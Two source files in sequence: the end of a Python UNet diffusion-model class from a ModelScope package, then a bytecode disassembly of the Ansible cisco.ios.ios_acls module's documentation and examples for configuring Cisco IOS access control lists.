model_channels: base channel count for the model. :param out_channels: channels in the output Tensor. :param num_res_blocks: number of residual blocks per downsample. :param attention_resolutions: a collection of downsample rates at which attention will take place. May be a set, list, or tuple. For example, if this contains 4, then at 4x downsampling, attention will be used. :param dropout: the dropout probability. :param channel_mult: channel multiplier for each level of the UNet. :param conv_resample: if True, use learned convolutions for upsampling and downsampling. :param dims: determines if the signal is 1D, 2D, or 3D. :param num_classes: if specified (as an int), then this model will be class-conditional with `num_classes` classes. :param use_checkpoint: use gradient checkpointing to reduce memory usage. :param num_heads: the number of attention heads in each attention layer. :param num_heads_channels: if specified, ignore num_heads and instead use a fixed channel width per attention head. :param num_heads_upsample: works with num_heads to set a different number of heads for upsampling. Deprecated. :param use_scale_shift_norm: use a FiLM-like conditioning mechanism. :param resblock_updown: use residual blocks for up/downsampling. :param use_new_attention_order: use a different attention pattern for potentially increased efficiency. """ def __init__( self, image_size, in_channels, model_channels, out_channels, num_res_blocks, attention_resolutions, dropout=0, channel_mult=(1, 2, 4, 8), conv_resample=True, dims=2, num_classes=None, use_checkpoint=False, use_fp16=False, num_heads=-1, num_head_channels=-1, num_heads_upsample=-1, use_scale_shift_norm=False, resblock_updown=False, use_new_attention_order=False, use_spatial_transformer=False, # custom transformer support transformer_depth=1, # custom transformer support context_dim=None, # custom transformer support n_embed=None, # custom support for prediction of discrete ids into codebook of first stage vq model legacy=True, disable_self_attentions=None, num_attention_blocks=None, disable_middle_self_attn=False, use_linear_in_transformer=False, ): super().__init__() if use_spatial_transformer: assert context_dim is not None if context_dim is not None: assert use_spatial_transformer from omegaconf.listconfig import ListConfig if type(context_dim) == ListConfig: context_dim = list(context_dim) if num_heads_upsample == -1: num_heads_upsample = num_heads if num_heads == -1: assert ( num_head_channels != -1 ), "Either num_heads or num_head_channels has to be set" if num_head_channels == -1: assert ( num_heads != -1 ), "Either num_heads or num_head_channels has to be set" self.image_size = image_size self.in_channels = in_channels self.model_channels = model_channels self.out_channels = out_channels if isinstance(num_res_blocks, int): self.num_res_blocks = len(channel_mult) * [num_res_blocks] else: if len(num_res_blocks) != len(channel_mult): raise ValueError( "provide num_res_blocks either as an int (globally constant) or " "as a list/tuple (per-level) with the same length as channel_mult" ) self.num_res_blocks = num_res_blocks if disable_self_attentions is not None: assert len(disable_self_attentions) == len(channel_mult) if num_attention_blocks is not None: assert len(num_attention_blocks) == len(self.num_res_blocks) assert all( map( lambda i: self.num_res_blocks[i] >= num_attention_blocks[i], range(len(num_attention_blocks)), ) ) print( f"Constructor of UNetModel received num_attention_blocks={num_attention_blocks}. " f"This option has LESS priority than attention_resolutions {attention_resolutions}, " f"i.e., in cases where num_attention_blocks[i] > 0 but 2**i not in attention_resolutions, " f"attention will still not be set." ) self.attention_resolutions = attention_resolutions self.dropout = dropout self.channel_mult = channel_mult self.conv_resample = conv_resample self.num_classes = num_classes self.use_checkpoint = use_checkpoint self.dtype = th.float16 if use_fp16 else th.float32 self.num_heads = num_heads self.num_head_channels = num_head_channels self.num_heads_upsample = num_heads_upsample self.predict_codebook_ids = n_embed is not None time_embed_dim = model_channels * 4 self.time_embed = nn.Sequential( linear(model_channels, time_embed_dim), nn.SiLU(), linear(time_embed_dim, time_embed_dim), ) if self.num_classes is not None: if isinstance(self.num_classes, int): self.label_emb = nn.Embedding(num_classes, time_embed_dim) elif self.num_classes == "continuous": print("setting up linear c_adm embedding layer") self.label_emb = nn.Linear(1, time_embed_dim) else: raise ValueError() self.input_blocks = nn.ModuleList( [ TimestepEmbedSequential( conv_nd(dims, in_channels, model_channels, 3, padding=1) ) ] ) self._feature_size = model_channels input_block_chans = [model_channels] ch = model_channels ds = 1 for level, mult in enumerate(channel_mult): for nr in range(self.num_res_blocks[level]): layers = [ ResBlock( ch, time_embed_dim, dropout, out_channels=mult * model_channels, dims=dims, use_checkpoint=use_checkpoint, use_scale_shift_norm=use_scale_shift_norm, ) ] ch = mult * model_channels if ds in attention_resolutions: if num_head_channels == -1: dim_head = ch // num_heads else: num_heads = ch // num_head_channels dim_head = num_head_channels if legacy: dim_head = ( ch // num_heads if use_spatial_transformer else num_head_channels ) if exists(disable_self_attentions): disabled_sa = disable_self_attentions[level] else: disabled_sa = False if ( not exists(num_attention_blocks) or nr < num_attention_blocks[level] ): layers.append( AttentionBlock( ch, use_checkpoint=use_checkpoint, num_heads=num_heads, num_head_channels=dim_head, use_new_attention_order=use_new_attention_order, ) if not use_spatial_transformer else SpatialTransformer( ch, num_heads, dim_head, depth=transformer_depth, context_dim=context_dim, disable_self_attn=disabled_sa, use_linear=use_linear_in_transformer, use_checkpoint=use_checkpoint, ) ) self.input_blocks.append(TimestepEmbedSequential(*layers)) self._feature_size += ch input_block_chans.append(ch) if level != len(channel_mult) - 1: out_ch = ch self.input_blocks.append( TimestepEmbedSequential( ResBlock( ch, time_embed_dim, dropout, out_channels=out_ch, dims=dims, use_checkpoint=use_checkpoint, use_scale_shift_norm=use_scale_shift_norm, down=True, ) if resblock_updown else Downsample( ch, conv_resample, dims=dims, out_channels=out_ch ) ) ) ch = out_ch input_block_chans.append(ch) ds *= 2 self._feature_size += ch if num_head_channels == -1: dim_head = ch // num_heads else: num_heads = ch // num_head_channels dim_head = num_head_channels if legacy: dim_head = ch // num_heads if use_spatial_transformer else num_head_channels self.middle_block = TimestepEmbedSequential( ResBlock( ch, time_embed_dim, dropout, dims=dims, use_checkpoint=use_checkpoint, use_scale_shift_norm=use_scale_shift_norm, ), ( AttentionBlock( ch, use_checkpoint=use_checkpoint, num_heads=num_heads, num_head_channels=dim_head, use_new_attention_order=use_new_attention_order, ) if not use_spatial_transformer else SpatialTransformer( # always uses a self-attn ch, num_heads, dim_head, depth=transformer_depth, context_dim=context_dim, disable_self_attn=disable_middle_self_attn, use_linear=use_linear_in_transformer, use_checkpoint=use_checkpoint, ) ), ResBlock( ch, time_embed_dim, dropout, dims=dims, use_checkpoint=use_checkpoint, use_scale_shift_norm=use_scale_shift_norm, ), ) self._feature_size += ch self.output_blocks = nn.ModuleList([]) for level, mult in list(enumerate(channel_mult))[::-1]: for i in range(self.num_res_blocks[level] + 1): ich = input_block_chans.pop() layers = [ ResBlock( ch + ich, time_embed_dim, dropout, out_channels=model_channels * mult, dims=dims, use_checkpoint=use_checkpoint, use_scale_shift_norm=use_scale_shift_norm, ) ] ch = model_channels * mult if ds in attention_resolutions: if num_head_channels == -1: dim_head = ch // num_heads else: num_heads = ch // num_head_channels dim_head = num_head_channels if legacy: dim_head = ( ch // num_heads if use_spatial_transformer else num_head_channels ) if exists(disable_self_attentions): disabled_sa = disable_self_attentions[level] else: disabled_sa = False if ( not exists(num_attention_blocks) or i < num_attention_blocks[level] ): layers.append( AttentionBlock( ch, use_checkpoint=use_checkpoint, num_heads=num_heads_upsample, num_head_channels=dim_head, use_new_attention_order=use_new_attention_order, ) if not use_spatial_transformer else SpatialTransformer( ch, num_heads, dim_head, depth=transformer_depth, context_dim=context_dim, disable_self_attn=disabled_sa, use_linear=use_linear_in_transformer, use_checkpoint=use_checkpoint, ) ) if level and i == self.num_res_blocks[level]: out_ch = ch layers.append( ResBlock( ch, time_embed_dim, dropout, out_channels=out_ch, dims=dims, use_checkpoint=use_checkpoint, use_scale_shift_norm=use_scale_shift_norm, up=True, ) if resblock_updown else Upsample(ch, conv_resample, dims=dims, out_channels=out_ch) ) ds //= 2 self.output_blocks.append(TimestepEmbedSequential(*layers)) self._feature_size += ch self.out = nn.Sequential( normalization(ch), nn.SiLU(), zero_module(conv_nd(dims, model_channels, out_channels, 3, padding=1)), ) if self.predict_codebook_ids: self.id_predictor = nn.Sequential( normalization(ch), conv_nd(dims, model_channels, n_embed, 1), ) def convert_to_fp16(self): """ Convert the torso of the model to float16. """ self.input_blocks.apply(convert_module_to_f16) self.middle_block.apply(convert_module_to_f16) self.output_blocks.apply(convert_module_to_f16) def convert_to_fp32(self): """ Convert the torso of the model to float32. """ self.input_blocks.apply(convert_module_to_f32) self.middle_block.apply(convert_module_to_f32) self.output_blocks.apply(convert_module_to_f32) def forward(self, x, timesteps=None, context=None, y=None, **kwargs): """ Apply the model to an input batch. :param x: an [N x C x ...] Tensor of inputs. :param timesteps: a 1-D batch of timesteps. :param context: conditioning plugged in via crossattn :param y: an [N] Tensor of labels, if class-conditional. :return: an [N x C x ...] Tensor of outputs. """ assert (y is not None) == ( self.num_classes is not None ), "must specify y if and only if the model is class-conditional" hs = [] t_emb = timestep_embedding(timesteps, self.model_channels, repeat_only=False) emb = self.time_embed(t_emb) if self.num_classes is not None: assert y.shape[0] == x.shape[0] emb = emb + self.label_emb(y) h = x.type(self.dtype) for module in self.input_blocks: h = module(h, emb, context) hs.append(h) h = self.middle_block(h, emb, context) for module in self.output_blocks: h = th.cat([h, hs.pop()], dim=1) h = module(h, emb, context) h = h.type(x.dtype) if self.predict_codebook_ids: return self.id_predictor(h) else: return self.out(h)
data/modelscope-1.12.0/modelscope/models/cv/anydoor/ldm/modules/diffusionmodules/openaimodel.py
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LOAD_CONST '\nThe module file for ios_acls\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST "\nauthor:\n - Sumit Jaiswal (@justjais)\n - Sagar Paul (@KB-perByte)\ndescription: This module configures and manages the named or numbered ACLs on IOS platforms.\nmodule: ios_acls\nnotes:\n - Tested against Cisco IOSXE Version 17.3 on CML.\n - Module behavior is not idempotent when sequence for aces are not mentioned\n - This module works with connection C(network_cli).\n See U(https://docs.ansible.com/ansible/latest/network/user_guide/platform_ios.html)\noptions:\n config:\n description: A list of ACL configuration options.\n elements: dict\n suboptions:\n acls:\n description:\n - A list of Access Control Lists (ACL) attributes.\n elements: dict\n suboptions:\n aces:\n description: The entries within the ACL.\n elements: dict\n suboptions:\n destination:\n description: Specify the packet destination.\n suboptions:\n address:\n description: Host address to match, or any single host address.\n type: str\n any:\n description: Match any source address.\n type: bool\n host:\n description: A single destination host\n type: str\n object_group:\n description: Destination network object group\n type: str\n port_protocol:\n description:\n - Specify the destination port along with protocol.\n - Note, Valid with TCP/UDP protocol_options\n suboptions:\n eq:\n description: Match only packets on a given port number.\n type: str\n gt:\n description: Match only packets with a greater port number.\n type: str\n lt:\n description: Match only packets with a lower port number.\n type: str\n neq:\n description: Match only packets not on a given port number.\n type: str\n range:\n description: Port group.\n suboptions:\n end:\n description: Specify the end of the port range.\n type: int\n start:\n description: Specify the start of the port range.\n type: int\n type: dict\n type: dict\n wildcard_bits:\n description: Destination wildcard bits, valid with IPV4 address.\n type: str\n type: dict\n dscp:\n description: Match packets with given dscp value.\n type: str\n evaluate:\n description: Evaluate an access list\n type: str\n fragments:\n description:\n - Check non-initial fragments.\n - This option is DEPRECATED and is replaced with enable_fragments which\n accepts bool as input this attribute will be removed after 2024-01-01.\n type: str\n enable_fragments:\n description: Enable non-initial fragments.\n type: bool\n grant:\n choices:\n - permit\n - deny\n description: Specify the action.\n type: str\n log:\n description: Log matches against this entry.\n suboptions:\n set:\n description: Enable Log matches against this entry\n type: bool\n user_cookie:\n description: User defined cookie (max of 64 char)\n type: str\n type: dict\n log_input:\n description: Log matches against this entry, including input interface.\n suboptions:\n set:\n description: Enable Log matches against this entry, including input interface.\n type: bool\n user_cookie:\n description: User defined cookie (max of 64 char)\n type: str\n type: dict\n option:\n description:\n - Match packets with given IP Options value.\n - Valid only for named acls.\n suboptions:\n add_ext:\n description: Match packets with Address Extension Option (147).\n type: bool\n any_options:\n description: Match packets with ANY Option.\n type: bool\n com_security:\n description: Match packets with Commercial Security Option (134).\n type: bool\n dps:\n description: Match packets with Dynamic Packet State Option (151).\n type: bool\n encode:\n description: Match packets with Encode Option (15).\n type: bool\n eool:\n description: Match packets with End of Options (0).\n type: bool\n ext_ip:\n description: Match packets with Extended IP Option (145).\n type: bool\n ext_security:\n description: Match packets with Extended Security Option (133).\n type: bool\n finn:\n description: Match packets with Experimental Flow Control Option (205).\n type: bool\n imitd:\n description: Match packets with IMI Traffic Desriptor Option (144).\n type: bool\n lsr:\n description: Match packets with Loose Source Route Option (131).\n type: bool\n mtup:\n description: Match packets with MTU Probe Option (11).\n type: bool\n mtur:\n description: Match packets with MTU Reply Option (12).\n type: bool\n no_op:\n description: Match packets with No Operation Option (1).\n type: bool\n nsapa:\n description: Match packets with NSAP Addresses Option (150).\n type: bool\n record_route:\n description: Match packets with Record Route Option (7).\n type: bool\n router_alert:\n description: Match packets with Router Alert Option (148).\n type: bool\n sdb:\n description: Match packets with Selective Directed Broadcast Option (149).\n type: bool\n security:\n description: Match packets with Basic Security Option (130).\n type: bool\n ssr:\n description: Match packets with Strict Source Routing Option (137).\n type: bool\n stream_id:\n description: Match packets with Stream ID Option (136).\n type: bool\n timestamp:\n description: Match packets with Time Stamp Option (68).\n type: bool\n traceroute:\n description: Match packets with Trace Route Option (82).\n type: bool\n ump:\n description: Match packets with Upstream Multicast Packet Option (152).\n type: bool\n visa:\n description: Match packets with Experimental Access Control Option (142).\n type: bool\n zsu:\n description: Match packets with Experimental Measurement Option (10).\n type: bool\n type: dict\n precedence:\n description: Match packets with given precedence value.\n type: str\n protocol:\n description:\n - Specify the protocol to match.\n - Refer to vendor documentation for valid values.\n type: str\n protocol_options:\n description: protocol type.\n suboptions:\n ahp:\n description: Authentication Header Protocol.\n type: bool\n eigrp:\n description: Cisco's EIGRP routing protocol.\n type: bool\n esp:\n description: Encapsulation Security Payload.\n type: bool\n gre:\n description: Cisco's GRE tunneling.\n type: bool\n hbh:\n description: Hop by Hop options header. Valid for IPV6\n type: bool\n icmp:\n description: Internet Control Message Protocol.\n suboptions:\n administratively_prohibited:\n description: Administratively prohibited\n type: bool\n alternate_address:\n description: Alternate address\n type: bool\n conversion_error:\n description: Datagram conversion\n type: bool\n dod_host_prohibited:\n description: Host prohibited\n type: bool\n dod_net_prohibited:\n description: Net prohibited\n type: bool\n echo:\n description: Echo (ping)\n type: bool\n echo_reply:\n description: Echo reply\n type: bool\n general_parameter_problem:\n description: Parameter problem\n type: bool\n host_isolated:\n description: Host isolated\n type: bool\n host_precedence_unreachable:\n description: Host unreachable for precedence\n type: bool\n host_redirect:\n description: Host redirect\n type: bool\n host_tos_redirect:\n description: Host redirect for TOS\n type: bool\n host_tos_unreachable:\n description: Host unreachable for TOS\n type: bool\n host_unknown:\n description: Host unknown\n type: bool\n host_unreachable:\n description: Host unreachable\n type: bool\n information_reply:\n description: Information replies\n type: bool\n information_request:\n description: Information requests\n type: bool\n mask_reply:\n description: Mask replies\n type: bool\n mask_request:\n description: mask_request\n type: bool\n mobile_redirect:\n description: Mobile host redirect\n type: bool\n net_redirect:\n description: Network redirect\n type: bool\n net_tos_redirect:\n description: Net redirect for TOS\n type: bool\n net_tos_unreachable:\n description: Network unreachable for TOS\n type: bool\n net_unreachable:\n description: Net unreachable\n type: bool\n network_unknown:\n description: Network unknown\n type: bool\n no_room_for_option:\n description: Parameter required but no room\n type: bool\n option_missing:\n description: Parameter required but not present\n type: bool\n packet_too_big:\n description: Fragmentation needed and DF set\n type: bool\n parameter_problem:\n description: All parameter problems\n type: bool\n port_unreachable:\n description: Port unreachable\n type: bool\n precedence_unreachable:\n description: Precedence cutoff\n type: bool\n protocol_unreachable:\n description: Protocol unreachable\n type: bool\n reassembly_timeout:\n description: Reassembly timeout\n type: bool\n redirect:\n description: All redirects\n type: bool\n router_advertisement:\n description: Router discovery advertisements\n type: bool\n router_solicitation:\n description: Router discovery solicitations\n type: bool\n source_quench:\n description: Source quenches\n type: bool\n source_route_failed:\n description: Source route failed\n type: bool\n time_exceeded:\n description: All time exceededs\n type: bool\n timestamp_reply:\n description: Timestamp replies\n type: bool\n timestamp_request:\n description: Timestamp requests\n type: bool\n traceroute:\n description: Traceroute\n type: bool\n ttl_exceeded:\n description: TTL exceeded\n type: bool\n unreachable:\n description: All unreachables\n type: bool\n type: dict\n igmp:\n description: Internet Gateway Message Protocol.\n suboptions:\n dvmrp:\n description: Distance Vector Multicast Routing Protocol(2)\n type: bool\n host_query:\n description: IGMP Membership Query(0)\n type: bool\n mtrace_resp:\n description: Multicast Traceroute Response(7)\n type: bool\n mtrace_route:\n description: Multicast Traceroute(8)\n type: bool\n pim:\n description: Protocol Independent Multicast(3)\n type: bool\n trace:\n description: Multicast trace(4)\n type: bool\n v1host_report:\n description: IGMPv1 Membership Report(1)\n type: bool\n v2host_report:\n description: IGMPv2 Membership Report(5)\n type: bool\n v2leave_group:\n description: IGMPv2 Leave Group(6)\n type: bool\n v3host_report:\n description: IGMPv3 Membership Report(9)\n type: bool\n type: dict\n ip:\n description: Any Internet Protocol.\n type: bool\n ipinip:\n description: IP in IP tunneling.\n type: bool\n ipv6:\n description: Any IPv6.\n type: bool\n nos:\n description: KA9Q NOS compatible IP over IP tunneling.\n type: bool\n ospf:\n description: OSPF routing protocol.\n type: bool\n pcp:\n description: Payload Compression Protocol.\n type: bool\n pim:\n description: Protocol Independent Multicast.\n type: bool\n protocol_number:\n description: An IP protocol number\n type: int\n sctp:\n description: Stream Control Transmission Protocol.\n type: bool\n tcp:\n description: Match TCP packet flags\n suboptions:\n ack:\n description: Match on the ACK bit\n type: bool\n established:\n description: Match established connections\n type: bool\n fin:\n description: Match on the FIN bit\n type: bool\n psh:\n description: Match on the PSH bit\n type: bool\n rst:\n description: Match on the RST bit\n type: bool\n syn:\n description: Match on the SYN bit\n type: bool\n urg:\n description: Match on the URG bit\n type: bool\n type: dict\n udp:\n description: User Datagram Protocol.\n type: bool\n type: dict\n remarks:\n description:\n - The remarks/description of the ACL.\n - The remarks attribute used within an ace with or without a\n sequence number will produce remarks that are pushed\n before the ace entry.\n - Remarks entry used as the only key in as the list option\n will produce non ace specific remarks, these remarks would be\n pushed at the end of all the aces for an acl.\n elements: str\n type: list\n sequence:\n description:\n - Sequence Number for the Access Control Entry(ACE).\n - Refer to vendor documentation for valid values.\n type: int\n source:\n description: Specify the packet source.\n suboptions:\n address:\n description: Source network address.\n type: str\n any:\n description: Match any source address.\n type: bool\n host:\n description: A single source host\n type: str\n object_group:\n description: Source network object group\n type: str\n port_protocol:\n description:\n - Specify the source port along with protocol.\n - Note, Valid with TCP/UDP protocol_options\n suboptions:\n eq:\n description: Match only packets on a given port number.\n type: str\n gt:\n description: Match only packets with a greater port number.\n type: str\n lt:\n description: Match only packets with a lower port number.\n type: str\n neq:\n description: Match only packets not on a given port number.\n type: str\n range:\n description: Port group.\n suboptions:\n end:\n description: Specify the end of the port range.\n type: int\n start:\n description: Specify the start of the port range.\n type: int\n type: dict\n type: dict\n wildcard_bits:\n description: Source wildcard bits, valid with IPV4 address.\n type: str\n type: dict\n time_range:\n description: Specify a time-range.\n type: str\n tos:\n description:\n - Match packets with given TOS value.\n - Note, DSCP and TOS are mutually exclusive\n suboptions:\n max_reliability:\n description: Match packets with max reliable TOS (2).\n type: bool\n max_throughput:\n description: Match packets with max throughput TOS (4).\n type: bool\n min_delay:\n description: Match packets with min delay TOS (8).\n type: bool\n min_monetary_cost:\n description: Match packets with min monetary cost TOS (1).\n type: bool\n normal:\n description: Match packets with normal TOS (0).\n type: bool\n service_value:\n description: Type of service value\n type: int\n type: dict\n ttl:\n description: Match packets with given TTL value.\n suboptions:\n eq:\n description: Match only packets on a given TTL number.\n type: int\n gt:\n description: Match only packets with a greater TTL number.\n type: int\n lt:\n description: Match only packets with a lower TTL number.\n type: int\n neq:\n description: Match only packets not on a given TTL number.\n type: int\n range:\n description: Match only packets in the range of TTLs.\n suboptions:\n end:\n description: Specify the end of the port range.\n type: int\n start:\n description: Specify the start of the port range.\n type: int\n type: dict\n type: dict\n type: list\n acl_type:\n choices:\n - extended\n - standard\n description:\n - ACL type\n - Note, it's mandatory and required for Named ACL, but for Numbered ACL it's not mandatory.\n type: str\n name:\n description: The name or the number of the ACL.\n required: true\n type: str\n type: list\n afi:\n choices:\n - ipv4\n - ipv6\n description:\n - The Address Family Indicator (AFI) for the Access Control Lists (ACL).\n required: true\n type: str\n type: list\n running_config:\n description:\n - This option is used only with state I(parsed).\n - The value of this option should be the output received from\n the IOS device by executing the command B(sh access-list).\n - The state I(parsed) reads the configuration from C(running_config) option and\n transforms it into Ansible structured data as per the resource module's argspec\n and the value is then returned in the I(parsed) key within the result.\n type: str\n state:\n choices:\n - merged\n - replaced\n - overridden\n - deleted\n - gathered\n - rendered\n - parsed\n default: merged\n description:\n - The state the configuration should be left in\n - The state I(merged) is the default state which merges the want and\n have config, but for ACL module as the IOS platform doesn't allow\n update of ACE over an pre-existing ACE sequence in ACL, same way ACLs\n resource module will error out for respective scenario and only addition\n of new ACE over new sequence will be allowed with merge state.\n - The states I(rendered), I(gathered) and I(parsed) does not perform any\n change on the device.\n - The state I(rendered) will transform the configuration in C(config)\n option to platform specific CLI commands which will be returned in\n the I(rendered) key within the result. For state I(rendered) active\n connection to remote host is not required.\n - The state I(gathered) will fetch the running configuration from device\n and transform it into structured data in the format as per the resource\n module argspec and the value is returned in the I(gathered) key within the result.\n - The state I(parsed) reads the configuration from C(running_config) option\n and transforms it into JSON format as per the resource module parameters\n and the value is returned in the I(parsed) key within the result. The\n value of C(running_config) option should be the same format as the output\n of commands I(sh running-config | section access-list) for all acls related information\n and I(sh access-lists | include access list) to obtain configuration specific of\n an empty acls, the following commands are executed on\n device. Config data from both the commands should be kept together one after\n another for the parsers to pick the commands correctly.\n For state I(parsed) active connection to remote host is not required.\n - The state I(overridden), modify/add the ACLs defined, deleted all other ACLs.\n - The state I(replaced), modify/add only the ACEs of the ACLs defined only.\n It does not perform any other change on the device.\n - The state I(deleted), deletes only the specified ACLs, or all if not specified.\n type: str\nshort_description: Resource module to configure ACLs.\nversion_added: 1.0.0\n" STORE_NAME DOCUMENTATION LOAD_CONST '\n\n\n- name: Merge provided configuration with device configuration\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n acls:\n - name: std_acl\n acl_type: standard\n aces:\n - grant: deny\n source:\n address: 192.168.1.200\n - grant: deny\n source:\n address: 192.168.2.0\n wildcard_bits: 0.0.0.255\n - name: 110\n aces:\n - sequence: 10\n protocol_options:\n icmp:\n traceroute: true\n source:\n address: 192.168.3.0\n wildcard_bits: 255.255.255.0\n destination:\n any: true\n grant: permit\n - grant: deny\n protocol_options:\n tcp:\n ack: true\n source:\n host: 198.51.100.0\n destination:\n host: 198.51.110.0\n port_protocol:\n eq: telnet\n - name: extended_acl_1\n acl_type: extended\n aces:\n - grant: deny\n protocol_options:\n tcp:\n fin: true\n source:\n address: 192.0.2.0\n wildcard_bits: 0.0.0.255\n destination:\n address: 192.0.3.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: www\n option:\n traceroute: true\n ttl:\n eq: 10\n - name: 123\n aces:\n - remarks:\n - "remarks for extended ACL 1"\n - "check ACL"\n - grant: deny\n protocol_options:\n tcp:\n ack: true\n source:\n address: 198.51.100.0\n wildcard_bits: 0.0.0.255\n destination:\n address: 198.51.101.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n tos:\n service_value: 12\n - grant: deny\n protocol_options:\n tcp:\n ack: true\n source:\n address: 192.0.3.0\n wildcard_bits: 0.0.0.255\n destination:\n address: 192.0.4.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: www\n dscp: ef\n ttl:\n lt: 20\n - afi: ipv6\n acls:\n - name: R1_TRAFFIC\n aces:\n - grant: deny\n protocol_options:\n tcp:\n ack: true\n source:\n any: true\n port_protocol:\n eq: www\n destination:\n any: true\n port_protocol:\n eq: telnet\n dscp: af11\n state: merged\n\n\n\n\n\n\n- name: Merge provided configuration with device configuration\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n acls:\n - name: 100\n aces:\n - sequence: 10\n protocol_options:\n icmp:\n traceroute: true\n state: merged\n\n\n\n\n- name: Replaces device configuration of listed acls with provided configuration\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n acls:\n - name: 110\n aces:\n - grant: deny\n protocol_options:\n tcp:\n syn: true\n source:\n address: 192.0.2.0\n wildcard_bits: 0.0.0.255\n destination:\n address: 192.0.3.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: www\n dscp: ef\n ttl:\n eq: 10\n - name: 150\n aces:\n - grant: deny\n sequence: 20\n protocol_options:\n tcp:\n syn: true\n source:\n address: 198.51.100.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n destination:\n address: 198.51.110.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n dscp: ef\n ttl:\n eq: 10\n state: replaced\n\n\n\n\n\n- name: Replace remarks of ace with sequence 10\n cisco.ios.ios_acls:\n state: replaced\n config:\n - acls:\n - aces:\n - destination:\n any: true\n grant: permit\n protocol: ip\n remarks:\n - The new first remarks before 10\n - ============new\n - The new second remarks before 10\n sequence: 10\n source:\n host: 1.1.1.1\n - destination:\n any: true\n grant: permit\n protocol: ip\n remarks:\n - FIRST REMARK BEFORE LINE 20\n - ============\n - ALLOW HOST remarks AFTER LINE 20\n sequence: 20\n source:\n host: 2.2.2.2\n - destination:\n any: true\n grant: permit\n protocol: ip\n remarks:\n - FIRST REMARK BEFORE LINE 30\n - ============\n - ALLOW HOST remarks AFTER LINE 30\n sequence: 30\n source:\n host: 3.3.3.3\n acl_type: extended\n name: TEST\n afi: ipv4\n\n\n\n\n\n- name: Replace remarks of ace with sequence 10\n cisco.ios.ios_acls:\n state: replaced\n config:\n - acls:\n - aces:\n - destination:\n any: true\n grant: permit\n protocol: ip\n remarks:\n - The new first remarks before 10\n - ============new\n - The new second remarks before 10\n sequence: 10\n source:\n host: 1.1.1.1\n - destination:\n any: true\n grant: permit\n protocol: ip\n remarks:\n - FIRST REMARK BEFORE LINE 20\n - ============\n - ALLOW HOST remarks AFTER LINE 20\n sequence: 20\n source:\n host: 2.2.2.2\n - destination:\n any: true\n grant: permit\n protocol: ip\n remarks:\n - FIRST REMARK BEFORE LINE 30\n - ============\n - ALLOW HOST remarks AFTER LINE 30\n sequence: 30\n source:\n host: 3.3.3.3\n acl_type: extended\n name: TEST\n afi: ipv4\n\n\n\n\n\n- name: Override device configuration of all acls with provided configuration\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n acls:\n - name: 110\n aces:\n - grant: deny\n sequence: 20\n protocol_options:\n tcp:\n ack: true\n source:\n address: 198.51.100.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n destination:\n address: 198.51.110.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: www\n dscp: ef\n ttl:\n eq: 10\n - name: 150\n aces:\n - grant: deny\n sequence: 10\n protocol_options:\n tcp:\n syn: true\n source:\n address: 198.51.100.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n destination:\n address: 198.51.110.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n dscp: ef\n ttl:\n eq: 10\n state: overridden\n\n\n\n\n\n\n- name: "Delete ACLs (Note: This won\'t delete the all configured ACLs)"\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n acls:\n - name: extended_acl_1\n acl_type: extended\n - name: 110\n state: deleted\n\n\n\n\n\n- name: "Delete ACLs based on AFI (Note: This won\'t delete the all configured ACLs)"\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n state: deleted\n\n\n\n\n\n\n- name: Delete ALL of configured ACLs\n cisco.ios.ios_acls:\n state: deleted\n\n\n\n\n\n\n- name: Gather ACLs configuration from target device\n cisco.ios.ios_acls:\n state: gathered\n\n\n\n- name: Render the provided configuration into platform specific configuration lines\n cisco.ios.ios_acls:\n config:\n - afi: ipv4\n acls:\n - name: 110\n aces:\n - grant: deny\n sequence: 10\n protocol_options:\n tcp:\n syn: true\n source:\n address: 192.0.2.0\n wildcard_bits: 0.0.0.255\n destination:\n address: 192.0.3.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: www\n dscp: ef\n ttl:\n eq: 10\n - name: 150\n aces:\n - grant: deny\n protocol_options:\n tcp:\n syn: true\n source:\n address: 198.51.100.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n destination:\n address: 198.51.110.0\n wildcard_bits: 0.0.0.255\n port_protocol:\n eq: telnet\n dscp: ef\n ttl:\n eq: 10\n state: rendered\n\n\n\n\n- name: Parse the commands for provided configuration\n cisco.ios.ios_acls:\n running_config: "{{ lookup(\'file\', \'parsed.cfg\') }}"\n state: parsed\n\n' STORE_NAME EXAMPLES LOAD_CONST '\nbefore:\n description: The configuration prior to the module execution.\n returned: when I(state) is C(merged), C(replaced), C(overridden), C(deleted) or C(purged)\n type: dict\n sample: >\n This output will always be in the same format as the\n module argspec.\nafter:\n description: The resulting configuration after module execution.\n returned: when changed\n type: dict\n sample: >\n This output will always be in the same format as the\n module argspec.\ncommands:\n description: The set of commands pushed to the remote device.\n returned: when I(state) is C(merged), C(replaced), C(overridden), C(deleted) or C(purged)\n type: list\n sample:\n - ip access-list extended 110\n - deny icmp 192.0.2.0 0.0.0.255 192.0.3.0 0.0.0.255 echo dscp ef ttl eq 10\n - permit ip host 2.2.2.2 host 3.3.3.3\nrendered:\n description: The provided configuration in the task rendered in device-native format (offline).\n returned: when I(state) is C(rendered)\n type: list\n sample:\n - ip access-list extended test\n - permit ip host 2.2.2.2 host 3.3.3.3\n - permit tcp host 1.1.1.1 host 5.5.5.5 eq www\ngathered:\n description: Facts about the network resource gathered from the remote device as structured data.\n returned: when I(state) is C(gathered)\n type: list\n sample: >\n This output will always be in the same format as the\n module 